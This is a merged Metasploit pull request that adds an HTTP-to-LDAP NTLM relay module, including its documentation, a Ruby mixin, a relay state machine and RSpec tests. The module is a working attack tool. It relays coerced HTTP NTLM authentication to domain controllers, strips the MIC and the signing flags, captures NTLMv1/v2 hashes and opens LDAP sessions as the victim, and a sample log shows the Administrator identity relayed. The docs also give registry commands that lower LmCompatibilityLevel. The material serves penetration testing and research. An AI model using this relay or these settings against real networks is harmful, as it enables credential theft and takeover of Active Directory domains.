Merge pull request #21323 from jheysel-r7/feat/http_to_ldap

HTTP to LDAP Relay Module
This commit is contained in:
Spencer McIntyre
2026-04-29 15:20:10 -04:00
committed by GitHub
6 changed files with 921 additions and 1 deletions
@@ -0,0 +1,108 @@
## Vulnerable Application
### Description
This module sets up an HTTP server that attempts to execute an NTLM relay attack against an LDAP server on the
configured `RHOSTS`. The relay attack targets NTLMv1 authentication, as NTLMv2 cannot be relayed to LDAP due to the
Message Integrity Check (MIC). The module automatically removes the relevant flags to bypass signing.
This module supports relaying one HTTP authentication attempt to multiple LDAP servers. After attempting to relay to
one target, the relay server sends a 307 to the client and if the client is configured to respond to redirects, the
client resends the NTLMSSP_NEGOTIATE request to the relay server. Multi relay will not work if the client does not
respond to redirects.
The module supports relaying NTLM authentication which has been wrapped in GSS-SPNEGO. HTTP authentication info is sent
in the WWW-Authenticate header. In the auth header base64 encoded NTLM messages are denoted with the NTLM prefix, while
GSS wrapped NTLM messages are denoted with the Negotiate prefix. Note that in some cases non-GSS wrapped NTLM auth can
be prefixed with Negotiate.
If the relay attack is successful, an LDAP session is created on the target. This session can be used by other modules
that support LDAP sessions, such as:
- `admin/ldap/rbcd`
- `auxiliary/gather/ldap_query`
The module also supports capturing NTLMv1 and NTLMv2 hashes.
### Setup
For this relay attack to be successful, it is important to understand the difference between the Target Server (the
Domain Controller receiving the relayed authentication) and the Victim Client (the machine sending the initial HTTP
request) and how their respective configurations can impact the success of the attack.
The Domain Controller must be configured to accept LM or NTLM authentication. This means the `LmCompatibilityLevel`
registry key on the DC must be set to 4 or lower. If it is set to `5` ("Send NTLMv2 response only. Refuse
LM and NTLM"), the DC will reject the relayed authentication and the module will fail.
You can verify or modify the Domain Controller's level using the following commands:
```cmd
# To check the current level:
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel
# To set the level to 4 (or lower):
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x4 /f
```
The client being coerced must be willing to send the vulnerable NTLM responses.
- Non-Windows Clients: Custom tools or Linux-based HTTP clients are unaffected by Windows registry keys and can easily
be relayed to a vulnerable DC.
- Windows Clients: If you are coercing a native Windows HTTP client (like `Invoke-WebRequest` or a browser), the victim
machine's `LmCompatibilityLevel` dictates what it is allowed to send. To successfully relay a Windows client, its local
registry key typically needs to be set to `2` or lower. If the Windows client is operating at level `3` or higher, it
restricts itself to sending only NTLMv2 responses, which will cause the relay to fail even if the target DC is vulnerable.
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/server/relay/http_to_ldap`
3. Set the `RHOSTS` options
4. Run the module
5. Send an authentication attempt to the relay server
6. `Invoke-WebRequest -Uri http://192.0.2.1/test -UseDefaultCredentials`
7. Check the output for successful relays and captured hashes
## Scenarios
### Relaying to multiple targets
```
msf auxiliary(server/relay/http_to_ldap) > set rhosts 172.16.199.200 172.16.199.201
rhosts => 172.16.199.200 172.16.199.201
msf auxiliary(server/relay/http_to_ldap) > run
[*] Auxiliary module running as background job 2.
[*] Relay Server started on 0.0.0.0:80
[*] Server started.
msf auxiliary(server/relay/http_to_ldap) > [*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
[*] Attempting to relay to ldap://172.16.199.201:389
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[*] Received type2 from target ldap://172.16.199.201:389, attempting to relay back to client
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
[*] Processing request in state awaiting_type3 from 172.16.199.130
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[+] Identity: KERBEROS\Administrator - Successfully relayed NTLM authentication to LDAP!
[+] Relay succeeded
[*] Moving to next target (172.16.199.200). Issuing 307 Redirect to /ZdF7Ufkm0I
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
[*] Attempting to relay to ldap://172.16.199.200:389
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[*] Received type2 from target ldap://172.16.199.200:389, attempting to relay back to client
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
[*] Processing request in state awaiting_type3 from 172.16.199.130
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[+] Identity: KERBEROS\Administrator - Successfully relayed NTLM authentication to LDAP!
[+] Relay succeeded
[*] Target list exhausted for 172.16.199.130. Closing connection.
msf auxiliary(server/relay/http_to_ldap) > sessions -i -1
[*] Starting interaction with 5...
LDAP (172.16.199.200) > getuid
[*] Server username: KERBEROS\Administrator
LDAP (172.16.199.200) >
```
@@ -0,0 +1,109 @@
# -*- coding: binary -*-
# frozen_string_literal: true
module Msf
module Exploit::Remote::HttpServer
module Relay
include ::Msf::Auxiliary::MultipleTargetHosts
include ::Msf::Exploit::Remote::Relay::NTLM::HashCapture
include Msf::Exploit::Remote::HttpServer
attr_reader :logger
def initialize(info = {})
super
register_options(
[
OptPort.new('SRVPORT', [true, 'The local port to listen on.', 80]),
OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]),
OptAddressRange.new('RHOSTS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['LDAPHOST', 'RELAY_TARGETS']),
OptInt.new('RELAY_TIMEOUT', [true, 'Seconds that the relay socket will wait for a response after the client has initiated communication.', 25])
], self.class
)
@relay_clients = {}
@relay_clients_mutex = Mutex.new
end
def start_service(opts = {})
@logger = opts['Logger'] || self
super
@http_relay_service = self.service
relay_path = '/'
add_resource(
'Proc' => Proc.new { |cli, req| on_relay_request(cli, req) },
'Path' => relay_path
)
end
def on_relay_request(cli, req)
client_id = Rex::Socket.to_authority(cli.peerhost, cli.peerport)
cli.keepalive = true
relay_client = nil
print_status("Received #{req.method} request for #{req.uri} from #{client_id}")
# When the 307 redirect is sent to the client, it reconnects on a different port. So the relay server has to keep
# track of the redirect URIs and associate them with the same client session. This allows the state machine to
# continue seamlessly even if the client is bouncing between ports. Tracking the client ports but not redirect
# URI's ends up in an infinite loop of 307 redirects because the client appears to be a new session on each
# request. Tracking the redirect URI's allows us to correlate the new connection with the existing session
# and avoid the redirect loop.
@relay_clients_mutex.synchronize do
# Try to find the client by their exact TCP connection
if @relay_clients.key?(client_id)
relay_client = @relay_clients[client_id]
relay_client.cli = cli
else
previous_client_id = @relay_clients.keys.find { |k| @relay_clients[k].redirect_uri == req.uri && req.uri != '/' }
if previous_client_id
# Seamlessly transfer the state machine from the old port to the new port
relay_client = @relay_clients.delete(previous_client_id)
relay_client.cli = cli
@relay_clients[client_id] = relay_client
else
# This is a truly new client session
relay_client = Msf::Exploit::Remote::HttpServer::Relay::NTLM::ServerClient.new(
cli,
relay_targets,
logger,
datastore['RELAY_TIMEOUT']
)
relay_client.redirect_uri = req.uri # Track their starting path
@relay_clients[client_id] = relay_client
end
end
end
relay_client.process_request(req)
@relay_clients_mutex.synchronize do
if relay_client.finished? && @relay_clients[client_id].equal?(relay_client)
@relay_clients.delete(client_id)
end
end
end
def send_auth_challenge(cli)
res = Rex::Proto::Http::Response.new
res.code = 401
res.message = "Unauthorized"
res.headers['WWW-Authenticate'] = "NTLM"
cli.put(res.to_s)
end
def cleanup
if @http_relay_service
@http_relay_service.remove_resource('/')
Rex::ServiceManager.stop_service(@http_relay_service)
end
super
end
end
end
end
@@ -0,0 +1,374 @@
# frozen_string_literal: true
module Msf::Exploit::Remote::HttpServer::Relay::NTLM
class ServerClient
attr_reader :logger
attr_accessor :cli, :state, :redirect_uri
def initialize(cli, relay_targets, logger, timeout = 25)
@cli = cli
@state = :unauthenticated
@relay_targets = relay_targets
@logger = logger
@timeout = timeout
@relayed_connection = nil
@current_target = nil
@ntlm_context = {
wrapper: :none,
type1: nil,
type2: nil
}
end
def process_request(req)
logger.print_status("Processing request in state #{state} from #{cli.peerhost}")
auth_header = req.headers['Authorization']
auth_type, b64_message = extract_ntlm_message(auth_header)
parsed_ntlm = nil
raw_ntlm_bytes = nil
if b64_message
begin
raw_ntlm_bytes = unwrap_ntlm_base64(b64_message)
parsed_ntlm = Net::NTLM::Message.parse(raw_ntlm_bytes)
rescue ::Exception => e
logger.print_error("Failed to parse incoming NTLM/SPNEGO message: #{e.message}")
abort_connection("Invalid NTLM payload.")
return
end
end
case state
when :unauthenticated
if parsed_ntlm.nil?
send_401_challenge
elsif parsed_ntlm.is_a?(Net::NTLM::Message::Type1)
logger.print_status("Received Type 1 message from #{cli.peerhost}, attempting to relay...")
handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type)
else
abort_connection("Expected No Auth or Type 1, got something else.")
end
when :awaiting_type3
if parsed_ntlm && parsed_ntlm.is_a?(Net::NTLM::Message::Type3)
logger.print_status("Received Type 3 message from #{cli.peerhost}, attempting to relay...")
handle_type3(parsed_ntlm)
elsif parsed_ntlm && parsed_ntlm.is_a?(Net::NTLM::Message::Type1)
logger.print_warning("Client restarted the handshake! Resetting state to handle new Type 1...")
@relayed_connection.disconnect! if @relayed_connection
@relayed_connection = nil
handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type)
else
abort_connection("Expected Type 3, got something else.")
end
when :done
# The relay is finished for this connection, ignore further requests
end
end
def create_relay_client(target, timeout)
case target.protocol
when :ldap
client = Msf::Exploit::Remote::Relay::NTLM::Target::LDAP::Client.create(self, target, logger, timeout)
else
raise RuntimeError, "unsupported protocol: #{target.protocol}"
end
client
rescue ::Rex::ConnectionTimeout => e
msg = "Timeout error retrieving server challenge from target #{target}. Most likely caused by unresponsive target"
elog(msg, error: e)
logger.print_error msg
nil
rescue ::Exception => e
msg = "Unable to create relay to #{target}"
elog(msg, error: e)
logger.print_error msg
nil
end
def finished?
state == :done || state == :aborted
end
def send_401_challenge
res = Rex::Proto::Http::Response.new
res.code = 401
res.message = "Unauthorized"
res.headers['WWW-Authenticate'] = "NTLM, Negotiate"
res.headers['Connection'] = "Keep-Alive"
res.headers['Content-Length'] = "0"
res.body = ""
cli.put(res.to_s)
end
def handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type)
@ntlm_context[:type1] = raw_ntlm_bytes
@current_target ||= @relay_targets.next(cli.peerhost)
if @current_target.nil?
logger.print_status("Target list exhausted for #{cli.peerhost}. Closing connection.")
res = Rex::Proto::Http::Response.new
res.code = 404
res.message = "Not Found"
res.headers['Connection'] = "Close"
res.headers['Content-Length'] = "0"
cli.send_response(res)
@state = :done
return
end
begin
logger.print_status("Attempting to relay to #{Rex::Socket.to_authority(@current_target.ip, @current_target.port)}")
@relayed_connection = create_relay_client(@current_target, @timeout)
if @relayed_connection.nil?
logger.print_error("Connection to #{@current_target.ip} failed: unable to create relay client")
advance_to_next_target_via_redirect
return
end
if @current_target.drop_mic_and_sign_key_exch_flags
incoming_security_buffer = do_drop_mic_and_flags(parsed_ntlm)
elsif @current_target.drop_mic_only
incoming_security_buffer = do_drop_mic(parsed_ntlm)
else
incoming_security_buffer = parsed_ntlm.serialize
end
relay_result = @relayed_connection.relay_ntlmssp_type1(incoming_security_buffer)
if relay_result && relay_result.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
type2_msg = relay_result.message
@ntlm_context[:type2] = type2_msg
if @ntlm_context[:wrapper] == :gss_spnego
wrapped_type2 = RubySMB::Gss.gss_type2(type2_msg.serialize)
target_type2_msg = Rex::Text.encode_base64(wrapped_type2)
auth_header = "#{auth_type} #{target_type2_msg}"
else
target_type2_msg = Rex::Text.encode_base64(type2_msg.serialize)
auth_header = "#{auth_type} #{target_type2_msg}"
end
logger.print_status("Received type2 from target #{@current_target.protocol}://#{Rex::Socket.to_authority(@current_target.ip, @current_target.port)}, attempting to relay back to client")
res = Rex::Proto::Http::Response.new
res.code = 401
res.message = "Unauthorized"
res.headers['WWW-Authenticate'] = auth_header
res.headers['Connection'] = "Keep-Alive"
res.headers['Content-Length'] = "0"
cli.send_response(res)
@state = :awaiting_type3
return
else
logger.print_error("Target #{@current_target.ip} rejected the Type 1 message.")
end
rescue ::Exception => e
logger.print_error("Connection to #{@current_target.ip} failed: #{e.message}")
end
advance_to_next_target_via_redirect
end
def complete_current_relay_attempt(is_success:, identity: nil)
return unless @current_target
@relay_targets.on_relay_end(@current_target, identity: identity, is_success: is_success)
end
def handle_type3(parsed_type3)
relay_succeeded = false
relay_completed = false
# 1. Safely extract the identity from the Type 3 message early
identity = nil
if parsed_type3
domain = parsed_type3.domain.to_s.force_encoding('UTF-8')
user = parsed_type3.user.to_s.force_encoding('UTF-8')
identity = "#{domain}\\#{user}" unless user.empty?
end
if @current_target.drop_mic_and_sign_key_exch_flags
incoming_security_buffer = do_drop_mic_and_flags(parsed_type3)
elsif @current_target.drop_mic_only
incoming_security_buffer = do_drop_mic(parsed_type3)
else
incoming_security_buffer = parsed_type3.serialize
end
relay_result = @relayed_connection.relay_ntlmssp_type3(incoming_security_buffer)
if relay_result && relay_result.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
relay_succeeded = true
logger.on_ntlm_type3(
address: @relayed_connection.target.ip,
ntlm_type1: @ntlm_context[:type1],
ntlm_type2: @ntlm_context[:type2],
ntlm_type3: parsed_type3,
service_name: 'HTTP'
)
if identity.blank?
logger.print_status("Anonymous Identity - Successfully authenticated against relay target #{@relayed_connection.target.ip}")
@relayed_connection.disconnect! if @relayed_connection
else
logger.print_good("Identity: #{identity} - Successfully relayed NTLM authentication to LDAP!")
logger.on_relay_success(relay_connection: @relayed_connection, relay_identity: identity)
end
@relayed_connection = nil
else
logger.print_error("Relayed authentication failed or was rejected by LDAP.")
@relayed_connection.disconnect! if @relayed_connection
@relayed_connection = nil
end
complete_current_relay_attempt(is_success: relay_succeeded, identity: identity)
relay_completed = true
@state = :done
advance_to_next_target_via_redirect
rescue StandardError => e
logger.print_error("Relaying type 3 message to target #{@current_target.ip} failed: #{e.message}")
complete_current_relay_attempt(is_success: false, identity: identity) unless relay_completed
end
def advance_to_next_target_via_redirect
@current_target = @relay_targets.next(@cli.peerhost)
if @current_target
random_path = "/" + Rex::Text.rand_text_alphanumeric(10)
@redirect_uri = random_path
@logger.print_status("Moving to next target (#{@current_target.ip}). Issuing 307 Redirect to #{random_path}")
res = Rex::Proto::Http::Response.new
res.code = 307
res.message = "Temporary Redirect"
res.headers['Location'] = random_path
res.headers['Connection'] = "keep-alive"
res.headers['Content-Length'] = "0"
cli.send_response(res)
@state = :unauthenticated
@ntlm_context[:type1] = nil
@ntlm_context[:type2] = nil
else
@logger.print_status("Target list exhausted for #{cli.peerhost}. Closing connection.")
res = Rex::Proto::Http::Response.new
res.code = 404
res.message = "Not Found"
res.headers['Connection'] = "close"
res.headers['Content-Length'] = "0"
cli.send_response(res)
@state = :done
end
end
def abort_connection(reason)
logger.print_error("Aborting connection with #{cli.peerhost}: #{reason}")
res = Rex::Proto::Http::Response.new
res.code = 400
res.message = "Bad Request"
res.headers['Connection'] = "Close"
res.headers['Content-Length'] = "0"
res.body = ""
cli.put(res.to_s)
@state = :aborted
end
def unwrap_ntlm_base64(b64_msg)
buf = Rex::Text.decode_base64(b64_msg)
if valid_ntlm_blob?(buf)
@ntlm_context[:wrapper] = :none
return buf
end
gss_api = OpenSSL::ASN1.decode(buf)
if gss_api&.tag == 0 && gss_api&.tag_class == :APPLICATION
logger.print_status("Detected GSS-SPNEGO wrapping around the type1 NTLM message")
@ntlm_context[:wrapper] = :gss_spnego
return process_gss_spnego_init(buf)
elsif gss_api&.tag == 1 && gss_api&.tag_class == :CONTEXT_SPECIFIC
logger.print_status("Detected GSS-SPNEGO wrapping around the type3 NTLM message")
@ntlm_context[:wrapper] = :gss_spnego
return process_gss_spnego_targ(buf)
end
raise ArgumentError, "Unrecognized NTLM or SPNEGO payload"
end
def extract_ntlm_message(auth_header)
return nil unless auth_header
# Match either "NTLM <base64>" or "Negotiate <base64>" (case insensitive)
if auth_header =~ /^(NTLM|Negotiate)\s+(.+)$/i
return $1, $2 # Return The auth type and the base64 message
end
nil
end
private
def valid_ntlm_blob?(blob)
blob&.start_with?("NTLMSSP\x00")
end
def validate_ntlm_blob!(blob)
raise ArgumentError, 'The NTLM blob found was malformed' unless valid_ntlm_blob?(blob)
end
def process_gss_spnego_init(incoming_security_buffer)
begin
gss_init = Rex::Proto::Gss::SpnegoNegTokenInit.parse(incoming_security_buffer)
ntlm_blob = gss_init.mech_token
validate_ntlm_blob!(ntlm_blob)
ntlm_blob
rescue RASN1::ASN1Error => e
raise ArgumentError, "Failed to parse NTLMSSP Type1 from GSS: #{e.message}"
end
end
def process_gss_spnego_targ(incoming_security_buffer)
begin
gss_targ = Rex::Proto::Gss::SpnegoNegTokenTarg.parse(incoming_security_buffer)
ntlm_blob = gss_targ.response_token
validate_ntlm_blob!(ntlm_blob)
ntlm_blob
rescue RASN1::ASN1Error, ArgumentError => e
raise ArgumentError, "Failed to parse NTLMSSP Type3 from GSS: #{e.message}"
end
end
def do_drop_mic(ntlm_message)
logger.print_status('Dropping MIC')
ntlm_message.serialize
end
def do_drop_mic_and_flags(ntlm_message)
logger.print_status('Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`')
flags = ntlm_message.flag
flags &= ~Net::NTLM::FLAGS[:ALWAYS_SIGN] & ~Net::NTLM::FLAGS[:SIGN] & ~Net::NTLM::FLAGS[:KEY_EXCHANGE]
ntlm_message.flag = flags
ntlm_message.serialize
end
end
end
@@ -55,11 +55,21 @@ module Msf::Exploit::Remote::Relay::NTLM::Target::LDAP
)
end
# Determines whether the relay connection originated from an HTTP server.
#
# @return [Boolean] true if the provider's class name contains 'httpserver', false otherwise.
def is_http_source?
@provider && @provider.class.name.to_s.downcase.include?('httpserver')
end
# @param [String] client_type3_msg
# @rtype [Msf::Exploit::Remote::Relay::NTLM::Target::RelayResult, nil]
def relay_ntlmssp_type3(client_type3_msg)
ntlm_message = Net::NTLM::Message.parse(client_type3_msg)
if ntlm_message.ntlm_version == :ntlmv2
# Suppress the warning for HTTP sources because they can safely relay NTLMv2 type 3 messages. During testing
# non-Windows HTTP clients that sent NTLMv2 type 3 messages were able to be relayed to LDAP without issue.
if ntlm_message.ntlm_version == :ntlmv2 && !is_http_source?
logger.print_warning('Relay client\'s NTLM type 3 message is NTLMv2, relaying to LDAP will not work')
end
@@ -0,0 +1,121 @@
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
require 'rex/proto/gss'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::Relay
include Msf::Auxiliary::CommandShell
attr_accessor :service
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Windows HTTP to LDAP Relay',
'Description' => %q{
This module supports running an HTTP server which validates credentials, and
then attempts to execute a relay attack against an LDAP server on the
configured RHOSTS hosts.
It is not possible to relay NTLMv2 to LDAP due to the Message Integrity Check
(MIC). As a result, this will only work with NTLMv1. The module takes care of
removing the relevant flags to bypass signing.
If the relay succeeds, an LDAP session to the target will be created. This can
be used by any modules that support LDAP sessions, like `admin/ldap/rbcd` or
`auxiliary/gather/ldap_query`.
Supports LDAP and captures NTLMv1 as well as NTLMv2 hashes.
},
'Author' => [
'jheysel-r7' # module and http_relay server
],
'License' => MSF_LICENSE,
'DefaultTarget' => 0,
'Actions' => [
[ 'CREATE_LDAP_SESSION', { 'Description' => 'Create an LDAP session' } ]
],
'PassiveActions' => [ 'CREATE_LDAP_SESSION' ],
'DefaultAction' => 'CREATE_LDAP_SESSION',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS ]
}
)
)
register_options(
[
Opt::RPORT(389)
]
)
register_advanced_options(
[
OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]),
OptInt.new('SessionKeepalive', [true, 'Time (in seconds) for sending protocol-level keepalive messages', 10 * 60])
]
)
end
def srvport
datastore['SRVPORT']
end
def relay_targets
Msf::Exploit::Remote::Relay::TargetList.new(
:ldap,
datastore['RPORT'],
datastore['RHOSTS'],
datastore['TARGETURI'],
randomize_targets: datastore['RANDOMIZE_TARGETS'],
drop_mic_only: false,
drop_mic_and_sign_key_exch_flags: true
)
end
def check_options
unless framework.features.enabled?(Msf::FeatureManager::LDAP_SESSION_TYPE)
fail_with(Failure::BadConfig, 'This module requires the `ldap_session_type` feature to be enabled. Please enable this feature using `features set ldap_session_type true`')
end
end
def run
check_options
start_service
print_status('Server started.')
@http_relay_service.wait if @http_relay_service
end
def on_relay_success(relay_connection:, relay_identity:)
print_good('Relay succeeded')
session_setup(relay_connection, relay_identity)
rescue StandardError => e
elog('Failed to setup the session', error: e)
end
def session_setup(relay_connection, relay_identity)
client = relay_connection.create_ldap_client
ldap_session = Msf::Sessions::LDAP.new(
relay_connection.socket,
{
client: client,
keepalive_seconds: datastore['SessionKeepalive']
}
)
domain, _, username = relay_identity.partition('\\')
datastore_options = {
'DOMAIN' => domain,
'USERNAME' => username
}
start_session(self, nil, datastore_options, false, ldap_session.rstream, ldap_session)
end
end
@@ -0,0 +1,198 @@
require 'spec_helper'
require 'msf/core/exploit/remote/http_server/relay'
require 'net/ntlm'
require 'windows_error'
require 'base64'
RSpec.describe Msf::Exploit::Remote::HttpServer::Relay do
let(:client_ip) { '172.16.199.159' }
let(:client_port) { 54321 }
let(:client_id) { Rex::Socket.to_authority(client_ip, client_port) }
def create_request(auth_header = nil)
req = Rex::Proto::Http::Request.new
req.method = 'GET'
req.headers['Authorization'] = auth_header if auth_header
req
end
let(:mock_cli) do
cli = double('Rex::Proto::Http::ServerClient')
allow(cli).to receive(:peerhost).and_return(client_ip)
allow(cli).to receive(:peerport).and_return(client_port)
allow(cli).to receive(:keepalive=)
allow(cli).to receive(:put)
allow(cli).to receive(:send_response)
cli
end
let(:mock_target) do
double('Target',
protocol: :ldap,
ip: '172.16.199.200',
port: 389,
drop_mic_and_sign_key_exch_flags: false,
drop_mic_only: false
)
end
let(:target_list) do
list = double('Msf::Exploit::Remote::Relay::TargetList')
allow(list).to receive(:next).and_return(mock_target)
allow(list).to receive(:on_relay_end)
list
end
let(:type2_msg) { double('Type2', serialize: 'TYPE2_BYTES') }
let(:type1_relay_result) { double('RelayResult', nt_status: WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED, message: type2_msg) }
let(:type3_success_result) { double('RelayResult', nt_status: WindowsError::NTStatus::STATUS_SUCCESS) }
let(:type3_fail_result) { double('RelayResult', nt_status: WindowsError::NTStatus::STATUS_LOGON_FAILURE) }
let(:mock_ldap_client) do
client = double('LDAPClient', target: mock_target)
allow(client).to receive(:relay_ntlmssp_type1).and_return(type1_relay_result)
allow(client).to receive(:relay_ntlmssp_type3).and_return(type3_success_result)
allow(client).to receive(:disconnect!)
client
end
let(:relay_class) do
Class.new(Msf::Auxiliary) do
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpServer::Relay
def initialize(info = {})
super
end
def relay_targets; end
def on_relay_success(relay_connection:, relay_identity:); end
def on_ntlm_type3(args); end
def print_status(msg); end
def print_error(msg); end
def print_good(msg); end
def print_warning(msg); end
def vprint_status(msg); end
def vprint_error(msg); end
def elog(msg, error: nil); end
end
end
subject(:relay_server) do
mod = relay_class.new
mod.instance_variable_set(:@logger, mod)
allow(mod).to receive(:relay_targets).and_return(target_list)
mod
end
let(:type1_bytes) { "NTLMSSP\x00TYPE1" }
let(:type3_bytes) { "NTLMSSP\x00TYPE3" }
let(:type1_b64) { Base64.strict_encode64(type1_bytes) }
let(:type3_b64) { Base64.strict_encode64(type3_bytes) }
let(:type1_msg) do
msg = Net::NTLM::Message::Type1.new
allow(msg).to receive(:serialize).and_return(type1_bytes)
msg
end
let(:type3_msg) do
msg = Net::NTLM::Message::Type3.new
allow(msg).to receive(:serialize).and_return(type3_bytes)
allow(msg).to receive(:domain).and_return('DOMAIN')
allow(msg).to receive(:user).and_return('USER')
msg
end
before(:each) do
allow(Net::NTLM::Message).to receive(:parse).with(type1_bytes).and_return(type1_msg)
allow(Net::NTLM::Message).to receive(:parse).with(type3_bytes).and_return(type3_msg)
allow(Msf::Exploit::Remote::Relay::NTLM::Target::LDAP::Client).to receive(:create).and_return(mock_ldap_client)
end
def get_client_state(server)
clients = server.instance_variable_get(:@relay_clients) || {}
clients[client_id]
end
describe 'State Transitions' do
context 'when receiving an initial unauthenticated request' do
it 'responds with a 401 and tracks state as unauthenticated' do
expect(mock_cli).to receive(:put).with(/401 Unauthorized/)
relay_server.on_relay_request(mock_cli, create_request)
client = get_client_state(relay_server)
expect(client).not_to be_nil
expect(client.state).to eq(:unauthenticated)
end
end
context 'when receiving a Type 1 message' do
let(:req1) { create_request("NTLM #{type1_b64}") }
it 'relays to LDAP, sends Type 2 challenge, and transitions state to awaiting_type3' do
expect(mock_cli).to receive(:send_response).with(satisfy { |res| res.code == 401 })
relay_server.on_relay_request(mock_cli, req1)
client = get_client_state(relay_server)
expect(client).not_to be_nil
expect(client.state).to eq(:awaiting_type3)
end
end
end
describe 'Target Iteration and Exhaustion' do
let(:req1) { create_request("NTLM #{type1_b64}") }
let(:req3) { create_request("NTLM #{type3_b64}") }
before(:each) do
relay_server.on_relay_request(mock_cli, req1)
end
context 'when LDAP authentication succeeds' do
it 'calls on_relay_success and redirects to the next target' do
expect(relay_server).to receive(:on_relay_success)
expect(mock_cli).to receive(:send_response).with(satisfy { |res| res.code == 307 })
relay_server.on_relay_request(mock_cli, req3)
client = get_client_state(relay_server)
expect(client.state).to eq(:unauthenticated)
end
end
context 'when LDAP authentication fails' do
before(:each) do
allow(mock_ldap_client).to receive(:relay_ntlmssp_type3).and_return(type3_fail_result)
end
it 'redirects to the next target and resets state to unauthenticated' do
expect(mock_cli).to receive(:send_response).with(satisfy { |res| res.code == 307 })
relay_server.on_relay_request(mock_cli, req3)
client = get_client_state(relay_server)
expect(client.state).to eq(:unauthenticated)
end
end
context 'when the target list is completely exhausted' do
before(:each) do
allow(target_list).to receive(:next).and_return(nil)
end
it 'sends a 404 and garbage collects the client state entirely' do
expect(mock_cli).to receive(:send_response).with(satisfy { |res| res.code == 404 })
relay_server.on_relay_request(mock_cli, req3)
client = get_client_state(relay_server)
expect(client).to be_nil
end
end
end
end